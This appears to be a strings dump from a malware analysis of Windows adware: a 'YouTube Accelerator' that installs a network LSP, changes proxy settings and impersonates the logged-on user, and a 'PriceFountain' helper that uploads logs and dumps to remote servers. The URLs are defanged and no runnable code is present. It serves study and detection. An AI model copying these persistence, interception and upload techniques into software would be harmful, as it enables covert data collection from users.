[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToWindowStation] CopySid - Error: %d

[CImpersonate::AddAceToWindowStation] AddAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d

[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d

[CImpersonate::AddAceToDesktop] AddAce - Error: %d

[CImpersonate::AddAceToDesktop] GetAce - Error: %d

[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d

[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS

[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d

[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS

[CImpersonate::OpenCurrentUserKey] Impersonated: %d

[CImpersonate::FindLoggedOnUser] Process32First - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d

[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

explorer.exe

[CImpersonate::FindLoggedOnUser] Impersonated: %d

[CImpersonate::GetLogonUserName] Name: %s

[CImpersonate::GetLogonUserName] GetUserName - Error: %d

[CImpersonateThread::NotifyImpersonateLogon] Time: %d

[CImpersonateThread::NotifyImpersonateLogoff] Time: %d

[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d

[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d

Name: %s

Path: %s

Version: %s

%s_%d.log

CSLogReportEventThread::DoPacLogFiles] Zip file created.

*.bak

CSLogReportEventThread::DoPacLogFiles] ___Error FindFirstFile( %s ): %d

*.log

Config.xml

CSLogReportEventThread::DoPacLogFiles] ___Error to Create Zip file.

BakLspCommTest.zip

LspCommTest.zip

[CSLogReportEventThread::DoPostZipFile] ___Error POST FAILED. LE: %X

[CSLogReportEventThread::DoPostZipFile] POST SUCCEEDED

hXXp://online.@[email protected]/online/CommunicationTestFailed.aspx

[CSLogReportEventThread::DoPostZipFile] Trying to POST...

[CSLogReportEventThread::DoPostZipFile] ___Error CHttp to Connect: %X, Server: %s

hXXp://online.@[email protected]/online/

CSLogReportEventThread::DoPostZipFile] ___Error CFile64 to get Zip file length.

CSLogReportEventThread::DoPostZipFile] ___Error CFile64 to open file: %s

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - Wait: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - ProcessCommand: %d

SOFTWARE\GOOBZO\YouTube Accelerator\%s\Original

SOFTWARE\GOOBZO\YouTube Accelerator\%s\Current

M[CRegistrationMgr::IsTrialVersion]%d

exp=%d

ins=%d

Dur=%d

[CRegistrationMgr::SetTrial] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::UpdateTrialParams] ___Error XMLNode::emptyNode %s

Trial.dat

Trial_QA.xml

[CRegistrationMgr::StartTrial] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode .%d

[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::HandleTrialScenario] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::HandleTrialScenario] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode .%d

[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetRotatedString] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetRotatedString] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetContinueTrialDailyString] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetContinueTrialDailyString] ___Error XMLNode::emptyNode %s

(%d days left)

DAYURL

[CRegistrationMgr::GetDailyUrl] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetDailyUrl] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetDailyUrl]

[CRegistrationMgr::GetContinueTrialDailyUrl] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetContinueTrialDailyUrl] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetContinueTrialDailyUrl]

[CRegistrationMgr::GetContinueTrialBtnTxt] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetContinueTrialBtnTxt] ___Error XMLNode::emptyNode %s

xmldb.dll

config.xml

RtmpListenPort

MiTunes.exe

[CSA_GUIApp::RegisterCommTestEvents] ___Error m_pPipeEventThread == NULL

[CSA_GUIApp::UnRegisterCommTestEvents] ___Error m_pPipeEventThread == NULL

[CSA_GUIApp::IsTrial] m_bIsTrial = %d

User%d

[CSA_GUIApp::GoToURL] ___Error FindExecutable failed url = %s

[CSA_GUIApp::GoToURL] ___Error The specified file was not found

YouTubeAccelerator.exe

[CSA_GUIApp::IsTestingSucceeded] InstalledLspVersion: %s, SBLSP: %s

ytalsp.dll

[CSA_GUIApp::UpdateRunOnStartup] Creating Run on startup registry key for %s

[CSA_GUIApp::RunUnwise] ___Error WaitForSingleObject: %d

[CSA_GUIApp::RunUnwise] ___Error CreateProcess: %d, Command: %s

unwise.exe

[CSA_GUIApp::GetTempDir] ___Error GetTempPath: %d

[CSA_GUIApp::GetTempDir] Folder: %s

[CSA_GUIApp::RunFromTemp] ___Error CreateProcess: %d, Command: %s

%s %s

[CSA_GUIApp::RunFromTemp] ___Error Copy: %s - to Temp: %s

YoutubeAcceleratorService.exe

D[CSA_GUIApp::SetTestingSucceeded] InstalledLspVersion: %s

[CSA_GUIApp::UpdateResourceDll] ___Error Removing %s. Err = %d

[CSA_GUIApp::UpdateResourceDll] ___Error Renaming %s to %s. Err = %d

[CSA_GUIApp::UpdateResourceDll] ___Error ExtractDataFromResFile: %x (Temp)

[CSA_GUIApp::UpdateResourceDll] VAResTemp.dll file Path: %s

Res\VARes_%d\

[CSA_GUIApp::UpdateResourceDll] ___Error ExtractDataFromResFile: %x

[CSA_GUIApp::UpdateResourceDll] ___Error CreateDirectoryRecursivlyFromPath: %x

[CSA_GUIApp::UpdateResourceDll] Resources Folder: %s

VARes_%d\

[CSA_GUIApp::UpdateResourceDll] DllVer: %d, RegVer: %d, TmpVer: %d

ResOld.dll

ResTemp.dll

[CSA_GUIApp::UpdateResourceDll] ___Error GetPath: %x

[CSA_GUIApp::RunFinishHtml] GotoURL status is %d

[CSA_GUIApp::RunFinishHtml] Finish URL is : %s

hXXp://@BRAND_ID@.@[email protected]/finishinstall?

hXXp://rep.@[email protected]/app/ping.ashx

engine.dll

[CSA_GUIApp::FormatURL] URL: %s

&TrialDaysLeft=%d

?V=%s&pr=%d&Beta=%d&Emode=%d

[CSA_GUIApp::InitInstance] __Error m_pPipeEventThread = NULL

[CSA_GUIApp::InitInstance] Uninstall URL - GotoURL status is %d

[CSA_GUIApp::InitInstance] ___Error to load VideoAccelerator - CreateDialog Failed: %d

VA???.lng

[CSA_GUIDlg::OnShowTrayIcon] - m_TrayIcon.ShowIcon() Failed !!!

[CSA_GUIDlg::SetOpenMainWindowDisableFlag]bVal = %d

%s&OEM=%s

hXXp://@BRAND_ID@.@[email protected]/support/help

VIDEO_ACCELERATOR.MHT

[CSA_GUIDlg::ShowMenora] ___Error No lending url

[CSA_GUIDlg::OnMenoraOpen] ___Error url empty

[CSA_GUIDlg::RunLspInstaller] ___Error - LSP installer returned after Timeout, error %d

[CSA_GUIDlg::RunLspInstaller] ___Error - LSP installer returned failure %d, error %d

[CSA_GUIDlg::RunLspInstaller] Wait for LSP Installer process to complete for %d milsecs...

[CSA_GUIDlg::RunLspInstaller] Executing LSP Installer process: %s

-b -d %s

lspinst2.exe

lspinst.exe

CSABaseWebWindow::OnBeginDrag

CSABaseWebWindow::OnStopDrag

ECSABaseWebWindow::Navigate : url = %s

CSABaseWebWindow::OnNavigateError : url = %s

CSABaseWebWindow::OnNavigateComplete : url = %s

CSABaseWebWindow::OnDocumentComplete : url = %s

CSANotifierWebWindow::SetMetaData GOT 'height'

CSANotifierWebWindow::SetMetaData GOT 'width'

[CSANotifierWebWindow::ReplaceLNGTags] replacing "%s" with "%s" = "%s" from String table

[CSANotifierWebWindow::ReplaceLNGTags] ___Error no "%s" in String table, putting "%s"

[CSANotifierWebWindow::ReplaceLNGTags] ALT case replacing <STRING_GOES_HERE> at "%s" with "%s" = "%s" from String table

[CSANotifierWebWindow::ReplaceLNGTags] ___Error ALT case no "%s" in String table, putting "%s" instead of <STRING_GOES_HERE> at "%s"

[CSANotifierWebWindow::ReplaceLNGTags] length %d

[CSANotifierWebWindow::ReplaceLNGTags]

[CSANotifierMgr::GetAvaliableNotifier] Message %d is already displayed

ItweetMessage.mht

SilentTestFailed.mht

SilentTestSucceeded.mht

ITUNESMESSAGE.MHT

hXXp://VVV.fileratings.com/video/@PRODUCT_DOMAIN@/12/buyiTunes.asp

OldDriver.mht

Activation_Expired.mht

noupdates.mht

exiting.mht

va_on.mht

va_off.mht

dl_update.mht

update.mht

HD_DISABLED.MHT

ACCELERATION_NOT_SUPPORTED.MHT

now_accelerating.mht

ACCELERATION_NOT_SUPPORTED_CHECKBOX

ACCELERATION_NOT_SUPPORTED_BUTTON_OK

%d days left.

%d Days left

<d/d/%d d:d:d::d 0x%X>

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx

[SbTracer::RecursiveCreateDirectory] Directory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s

[SbTracer::FormatFilePath] Log Path: %s

[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s

[SbTracer::FormatFilePath] ___Warning - No Log folder: %s

[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s

\StringFileInfo\x\%s

[SbTracer::ReadConfiguration] Trace Max Size: %d

[SbTracer::ReadConfiguration] Trace Time Stamp: %d

[SbTracer::ReadConfiguration] Trace Time Limit: %d

[SbTracer::ReadConfiguration] Trace Backup: %d

[SbTracer::ReadConfiguration] Trace Destination: %d

[SbTracer::ReadConfiguration] Trace Level: %d

[SbTracer::BackupTraceFile] %s

[SbTracer::OpenTraceFile] Done %s

[SbTracer::OpenTraceFile] ___Error: %d, File: %s

[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d

[CSerializable::GetField] ___Error - Vector size missmatch. Code: %d

F[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d

[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d

[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d

[CServiceController::ChangeStartType] Name: %s

[CServiceController::ExecuteServer] Exit

[CServiceController::ExecuteServer] Enter

[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d

[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] Enter, %s

[CServiceController::Install] ___Error OpenService Failed: %d

[CServiceController::Install] ___Error QueryServiceStatus Failed: %d

[CServiceController::Install] ___Error CreateService Failed: %d

[CServiceController::Install] ___Error OpenSCManager Failed: %d

%s -%s -%s

%s\%s

[CServiceController::Install] ___Error GetModuleFileName Failed: %d

[CServiceController::Remove] ___Error OpenService Failed: %d

[CServiceController::Remove] ___Error OpenSCManager Failed: %d

[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d

[CServiceController::GetStatus] ___Error OpenService Failed: %d

[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d

[CServiceController::Start] The service %s was started

[CServiceController::Start] ___Error StartService Failed: %d

[CServiceController::Start] ___Error OpenService Failed: %d

[CServiceController::Start] ___Error OpenSCManager Failed: %d

[CServiceController::Start] Going to start the service %s

[CServiceController::Stop] The service %s was stopped

[CServiceController::Stop] ___Error ControlService Failed: %d

[CServiceController::Stop] ___Error OpenService Failed: %d

[CServiceController::Stop] Going to stop the service %s

[CServiceController::Stop] ___Error SetServiceStatus Failed: %d

[CServiceController::GetArgsFromCmd] Exit

[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE

[CServiceController::GetArgsFromCmd] Enter

[CServiceController::RunCommand] Args: %s

I[CSettingDlg::LoadEngine] ___Error to Create IHttpEngineConfiguration

[CSettingDlg::OnInitDialog] ___Error to Create IHttpEngineConfiguration

WININET.DLL

Gkernel32.dll

d/d/%d d:d:d::d

[CUtils::GoToURL] ___Error WinExec url = %s, defBrowser = %s, err = %d

"%s" "%s"

"%s" %s

[CVA_Alert::OnDeserialize] ___Error get m_LandingUrl

[CVA_Alert::OnDeserialize] ___Error get m_URL

[ACCELINFO::OnDeserialize] ___Error get URL

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

zvl=%s&

%s?e=%s

SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings

Hcomctl32.dll

Hcomdlg32.dll

Hshell32.dll

accKeyboardShortcut

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl

Afx:%p:%x:%p:%p:%p

Afx:%p:%x

commctrl_DragListMsg

Hf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filetxt.cpp

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Software\Microsoft\Windows\CurrentVersion\Policies\Network

Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32

ntdll.dll

%s%s.dll

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appcore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_s.cpp

mfcm90u.dll

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cpp

Jf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp

J.INI

J.com

DLG_%u

PID%u

les (x86)\YouTube Accelerator\YouTubeAccelerator.exe

Important:

Port:

Contact Our Support

See supported video sites

Join Today!

2.0.5.3

Watch YouTube and other web videos without pauses.

Twitter login

Password:

Enter your username and password for Twitter:

<div class="videoitem"><div class="videoimage"><div border" id="%s"><a href="%s" onmouseover="setBorder('%s','1');" onmouseout="setBorder('%s','0');"><img src="images/video/3.jpg" name="moreimg" width="68" /></a></div></div><div class="videotxt">%s</div>

Communications test failed.JWe believe it might be a Security / Firewall issue.

For additional information, contact our support at:

hXXp://@[email protected]/support/

hXXp://@[email protected]/support/VWe believe the problem might be caused by Karspersky antivirus.

hXXp://@[email protected]/support/

Enter port,Please enter a valid Port number (0 - 65536)UPlease enter a valid Domain name or IP address

(e.g. sample.proxy.com, 192.168.1.100)

@BRAND@ - Settings error!3{lX-X-x-XX-XXXXXX}!Get the premium video experience.!The premium web video experience.6Enjoy HD videos and iTunes purchases without the wait.P@BRAND@ Premium

lets you enjoy HD videos and iTunes downloads without the wait.XPlease Approve @BRAND@ in your Firewall and/or Antivirus to complete the Installation...

@BRAND@ECheck out the video %s from %s I'm watching it smoothly with @[email protected] out the video from %s I'm watching it smoothly with @BRAND@.!You are using %s - Translated by:

@BRAND@ is accelerating...#Restart required to change languageeYou have selected %s as VA's interface language.

@BRAND@ Trial version!The ultimate web video experienceN@BRAND@ lets you enjoy smooth web videos and iTunes download without the wait.

!The ultimate web video experienceN@BRAND@ lets you enjoy smooth web videos and iTunes download without the wait.

Normal video acceleration\Watch smooth web videos with bit rates up to 100 KBps without buffering & interruptions.

HD Video AccelerationNStop waiting while you watch HD web videos with high bit rates above 200 KBps.

Supported Video Sites

Every web video just got better

All Files (*.*)

No error message is available.#Attempted an unsupported operation.$A required resource was unavailable.

Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.

Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else.1Encountered an unexpected error while reading %1.1Encountered an unexpected error while writing %1.

#Unable to load mail system support.

3.3.8.9

pricefountainw.exe_3156:

.text

`.rdata

@.data

.rsrc

j.Yf;

_tcPVj@

.PjRW

function not supported

operation canceled

address_family_not_supported

operation_in_progress

operation_not_supported

protocol_not_supported

operation_would_block

address family not supported

broken pipe

inappropriate io control operation

not supported

operation in progress

operation not permitted

operation not supported

operation would block

protocol not supported

GetProcessWindowStation

operator

Útetime

%file

ûase

%func

%user

%d/%M/%Y %H:%m:%s,%g

%d-%M-%Y_%H-%m

logs\myeasylog.log

Erroneous arithmetic operation

Arithemetic operation issue such as division by zero or operation resulting in overflow.

Generally due to a corruption in the code or to an attempt to execute data.

Interruption generated (generally) by user or operating system.

WatchExecuter.cpp

invalid map<K, T> key

' ).;<52

Útetime %level [%logger] %msg

Útetime %level [%logger] [%user@%host] [%func] [%loc] %msg

Útetime %level-%vlevel [%logger] %msg

Útetime %level [%logger] [%func] [%loc] %msg

Útetime %level %msg

c:\users\idan\documents\mydev\suzandll\utilityhelpers\src\helpers\easylogging.h

50000000

Útetime [%level] (%file:%line) %msg

bool __thiscall helpers::MinidumpsHelper::CreateS3Url(class std::vector<class std::basic_string<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >,class std::allocator<class std::basic_string<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> > > >,class std::basic_string<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >,class std::basic_string<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >)

src\helpers\MinidumpsHelper.cpp

src\helpers\LogsCollectorHelper.cpp

------BoundaryX

Content-Disposition: form-data; name="uploaded"; filename="%s"

------BoundaryX--

hSession failed, errorcode 0xx

hConnect failed, errorcode 0xx

hRequest failed, errorcode 0xx

hResults failed, errorcode 0xx

C:\Users\Idan\Documents\MyDev\SuzanDll\SuzanDLL\Release\suzanw.pdb

KERNEL32.dll

EnumWindows

USER32.dll

RegCreateKeyExW

RegOpenKeyExW

RegCloseKey

ADVAPI32.dll

SHELL32.dll

PSAPI.DLL

WinHttpReceiveResponse

WinHttpSetTimeouts

WinHttpSetOption

WinHttpSendRequest

WinHttpWriteData

WinHttpConnect

WinHttpCloseHandle

WinHttpQueryHeaders

WinHttpQueryDataAvailable

WinHttpOpen

WinHttpOpenRequest

WinHttpReadData

WinHttpAddRequestHeaders

WINHTTP.dll

SHLWAPI.dll

dbghelp.dll

VERSION.dll

GetCPInfo

GetProcessHeap

suzanw.exe

??0HttpHelper@helpers@@QAE@ABV01@@Z

??0HttpHelper@helpers@@QAE@PB_W00@Z

??0HttpRequestContent@helpers@@QAE@ABV01@@Z

??0HttpRequestContent@helpers@@QAE@XZ

??0PrcssHelper@helpers@@QAE@ABV01@@Z

??0PrcssHelper@helpers@@QAE@XZ

??1HttpHelper@helpers@@QAE@XZ

??1PrcssHelper@helpers@@QAE@XZ

??4HttpHelper@helpers@@QAEAAV01@ABV01@@Z

??4HttpRequestContent@helpers@@QAEAAV01@ABV01@@Z

??4PrcssHelper@helpers@@QAEAAV01@ABV01@@Z

??_7HttpRequestContent@helpers@@6B@

?CheckIfProcessRunning@PrcssHelper@helpers@@SA_NABV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVErrorData@@@Z

?CloseApp@PrcssHelper@helpers@@SA?AW4TerminationResult@12@KKPAVErrorData@@@Z

?CloseApp@PrcssHelper@helpers@@SA?AW4TerminationResult@12@V?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@KPAVErrorData@@@Z

?CreateS3Url@LogsCollectorHelper@helpers@@AAE_NXZ

?CreateS3Url@MinidumpsHelper@helpers@@AAE_NV?$vector@V?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@V?$allocator@V?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@@2@@std@@V?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@4@1@Z

?FindPathFromExeName@PrcssHelper@helpers@@SA_NV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAV34@PAVErrorData@@@Z

?FindProcessId@PrcssHelper@helpers@@SAKV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@@Z

?GetAllRunningProcesses@PrcssHelper@helpers@@SA?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@XZ

?GetCookies@HttpHelper@helpers@@QBEABV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@XZ

?GetDataOfRunningProcess@PrcssHelper@helpers@@SA_NABV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAUprocessData@12@@Z

?GetDefaultURL@HttpHelper@helpers@@SAABV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@XZ

?GetProcessNameByID@PrcssHelper@helpers@@SA?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@K@Z

?GetResponseHeaders@HttpHelper@helpers@@QBEABV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@XZ

?GetStatusCode@HttpHelper@helpers@@QBE?BKXZ

?IsCurrentProcessAlreadyRunning@PrcssHelper@helpers@@SA_NPAVErrorData@@@Z

?IsValidUrl@HttpHelper@helpers@@SA_NV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@@Z

?IsWinXP@PrcssHelper@helpers@@SA_NXZ

?LoadProcess@PrcssHelper@helpers@@SA_NV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@0PAVErrorData@@PAVProcessData@12@@Z

?ReadFromRegistry@RegistryHelper@helpers@@SA_NPAUHKEY__@@PB_WV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAV45@PAVErrorData@@@Z

?SendPostData@HttpHelper@helpers@@SAXABV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@AAV34@@Z

?SendPostRequest@HttpHelper@helpers@@QAE?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@4@@Z

?SendRequest@HttpHelper@helpers@@QAE?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@ABV34@@Z

?SendRequest@HttpHelper@helpers@@QAE?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@KPAX@Z

?SendRequest@HttpHelper@helpers@@QAE?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVHttpRequestContent@2@@Z

?SendRequest@HttpHelper@helpers@@QAE?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVIProgress@2@ABV34@@Z

?SendRequest@HttpHelper@helpers@@QAE?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVIProgress@2@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@4@@Z

?SendRequest@HttpHelper@helpers@@QAE?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVIProgress@2@KPAX@Z

?SendRequest@HttpHelper@helpers@@QAE?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVIProgress@2@PAVHttpRequestContent@2@@Z

?SendRequest_s@HttpHelper@helpers@@QAE?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVIProgress@2@PAVHttpRequestContent@2@@Z

?TerminateAppEnum@PrcssHelper@helpers@@CGHPAUHWND__@@J@Z

?UploadFileToS3@HttpHelper@helpers@@QAE_NV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PA_W0PAV34@@Z

?UploadFileToServerUsingPost@HttpHelper@helpers@@SAHV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@0PA_W00PAV34@@Z

?WriteToRegistry@RegistryHelper@helpers@@SA_NPAUHKEY__@@PB_WV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@2PAVErrorData@@@Z

?_SendRequest_s@HttpHelper@helpers@@QAE_NPAV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@ABV34@@Z

?_SendRequest_s@HttpHelper@helpers@@QAE_NPAV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@KPAX@Z

?_SendRequest_s@HttpHelper@helpers@@QAE_NPAV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVHttpRequestContent@2@@Z

?_SendRequest_s@HttpHelper@helpers@@QAE_NPAV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVIProgress@2@ABV34@@Z

?_SendRequest_s@HttpHelper@helpers@@QAE_NPAV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVIProgress@2@KPAX@Z

?_SendRequest_s@HttpHelper@helpers@@QAE_NPAV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVIProgress@2@PAVHttpRequestContent@2@@Z

?char2hex@HttpHelper@helpers@@SA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@D@Z

?domain@HttpHelper@helpers@@2V?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@A

?urlencode@HttpHelper@helpers@@SA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@ABV34@@Z

zcÁ

.?AVHttpRequestContent@helpers@@

<requestedExecutionLevel level='asInvoker' uiAccess='false' />

combase.dll

Ckernel32.dll

mscoree.dll

- CRT not initialized

- Attempt to initialize the CRT more than once.

- floating point support not loaded

portuguese-brazilian

USER32.DLL

s3_url_gen

\logs\wd.log

hXXps://dumpster-server.herokuapp.com/manager/query

__pmLog_.txt

type=offb&topic=urldat&data=1&

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\

error in RegOpenKeyEx returned:

error in RegOpenKeyEx type is not REG_SZ

%s\%s_%s_%p_%s_Error_ddd_ddd.dmp

dmp.zip

domain_operational

quick_url_path

%s_%s_Logs_%s.zip

libcef.dll

pricemeter.exe

pricemeterw.exe

WinHTTP/1.0

hXXps://

hXXp://

Content-Type: multipart/form-data; boundary=----BoundaryX

Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko

Content-Length: %d

uninst.exe

C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\pricefountainw.exe

1.0.8.6

pricefountainw.exe

